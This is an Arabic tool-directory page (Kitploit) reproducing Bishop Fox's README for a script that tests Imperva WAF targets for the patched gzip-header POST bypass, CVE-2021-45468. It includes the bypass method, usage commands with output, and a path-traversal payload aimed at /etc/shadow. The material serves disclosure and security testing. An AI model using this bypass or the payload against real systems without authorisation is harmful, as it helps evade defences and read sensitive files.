Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Imperva_gzip_bypass — استغلال لـ CVE-2021-45468، وهو تجاوز لجدار الحماية Imperva WAF. | Kitploit
أدوات/GitHubGitHub/0xhaggis/imperva_gzip_bypass
تحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSاستغلال تطبيقات الويبتجاوز WAFاختبار الاختراق
GitHub0xhaggis/imperva_gzip_bypass

Imperva_gzip_bypass

استغلال لـ CVE-2021-45468، وهو تجاوز لجدار الحماية Imperva WAF.

عرض المستودع
624منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تجاوز طلب POST لجدار حماية تطبيقات الويب (WAF) من Imperva

كان جدار حماية تطبيقات الويب السحابي من Imperva (Cloud WAF) عرضة لثغرة تجاوز تسمح للمهاجمين بتجاوز قواعد WAF عند إرسال حمولات HTTP POST ضارة، مثل استغلالات log4j، وحقن SQL، وتنفيذ الأوامر، وتجاوز المسارات، و XXE، وغيرها.

المعالجة

أخذ فريق Imperva هذا الأمر على محمل الجد منذ اللحظة التي تم إبلاغهم بها، وقاموا بتنفيذ إصلاح عالمي في غضون أيام قليلة. تحية لهم. جميع عملاء Cloud WAF تم تصحيحهم تلقائيًا اعتبارًا من 22 ديسمبر 2021. كان العمل مع Imperva رائعًا، ومن الواضح أن لديهم فريق أمن ناضج وماهر وقادر.

لاستغلالها

أضف الرأس Content-Encoding: gzip إلى طلبات HTTP POST. اترك بيانات POST كما هي. لا تقم بتشفيرها. طالما أن البايتات الأربعة الأولى من رأس Content-Encoding هي gzip، فلن يتم تطبيق أي قواعد WAF على طلبات POST.

يمكنك القيام بذلك في Burp باستخدام ميزة Match & Replace في الوكيل:

أضف رأسًا جديدًا بهذا الشكل:

هذا كل شيء؛ أنت جاهز للانطلاق.

تشغيل البرنامج النصي للاختبار

قم بتشغيل imperva_gzip.py مقابل عنوان URL يدعم طلبات POST مثل هذا:

الصيغة: ./imperva_gzip.py [[-t] | [-r]] URL

تخمين نوع WAF لعنوان URL معين:

root@kitploit:~
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare

تحقق مما إذا كان WAF عرضة لتجاوز gzip:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200

إذا حصلت على هذا الخطأ:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302

فجرب تمرير -r في سطر الأوامر لتمكين الوضع المرن (Relaxed mode). الوضع المرن معطل افتراضيًا، مما يعني أن طلب POST من المتوقع أن يحصل على استجابة HTTP 200 من الخادم. يوسع -r الاستجابات المقبولة لتشمل HTTP 2xx، 3xx.

البرمجة النصية

رموز الخروج لـ imperva_gzip.py هي كما يلي:

root@kitploit:~
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.

عملية الاختبار اليدوي للثغرة

أرسل ثلاثة طلبات POST:

  1. إنشاء خط أساس لطلب/استجابة POST باستخدام طلب POST صالح ولكن غير ضار.
  2. تحفيز WAF Imperva باستخدام نفس طلب POST، ولكن مع بيانات "ضارة" إضافية مثل &test=../../../../../../../etc/shadow في الجسم للتحقق من أن Imperva يحظره.
  3. أضف الرأس Content-Encoding: gzip إلى نفس الطلب الضار وتحقق من أن Imperva لا يحظره.

تشفيرات أخرى

وفقًا لـ https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding، هناك أربع قيم صالحة لرأس Content-Encoding:

  • compress
  • deflate
  • gzip
  • br

أثناء الاختبار، نجح gzip فقط كتجاوز.

الإصدارات المتأثرة

جدار حماية تطبيقات الويب السحابي من Imperva

Cloud WAF مُدار بواسطة Imperva. نتيجة لذلك، تؤثر التحديثات على Cloud WAF على جميع العملاء تقريبًا في نفس الوقت تقريبًا. تم تصحيحه لجميع العملاء اعتبارًا من 22 ديسمبر 2021.

SecureSphere

تم إصلاح خطأ تجاوز gzip في منتج منفصل من Imperva يُسمى SecureSphere. تحتوي ملاحظات الإصدار لـ v12.6 من SecureSphere على هذه الفقرة:

SPHR-58185: عندما فشل SecureSphere في فك ضغط جسم POST في الطلبات التي تحتوي على رأس "Content-Encoding: gzip/deflate"، لم يصدر أي تنبيه وسمح للطلب بالمرور.

أنا متأكد تمامًا من أن هذا هو نفس الخطأ، ربما بنفس موروث الكود مثل Cloud WAF... إنه خطأ محدد جدًا ليكون في منتجين. تم حل المشكلة لـ SecureSphere في فبراير 2021، لكننا لا نعرف متى تم تقديمها. من الممكن أن الثغرة كانت موجودة لسنوات!

الاتصال

Bishop Fox

  • المؤلف: @carllivitt @bishopfox
  • الأمن الهجومي: Bishop Fox
  • الأمن الهجومي المستمر: Bishop Fox Cosmos
  • العلماء المجانين: Bishop Fox Labs

Imperva

دعم عملاء Imperva: https://www.imperva.com/support/technical-support/

المراجع

  • جدار حماية تطبيقات الويب السحابي من Imperva
  • ملاحظات إصدار SecureSphere 12.6 من Imperva
  • رأس HTTP Content-Encoding
تنزيل الأداة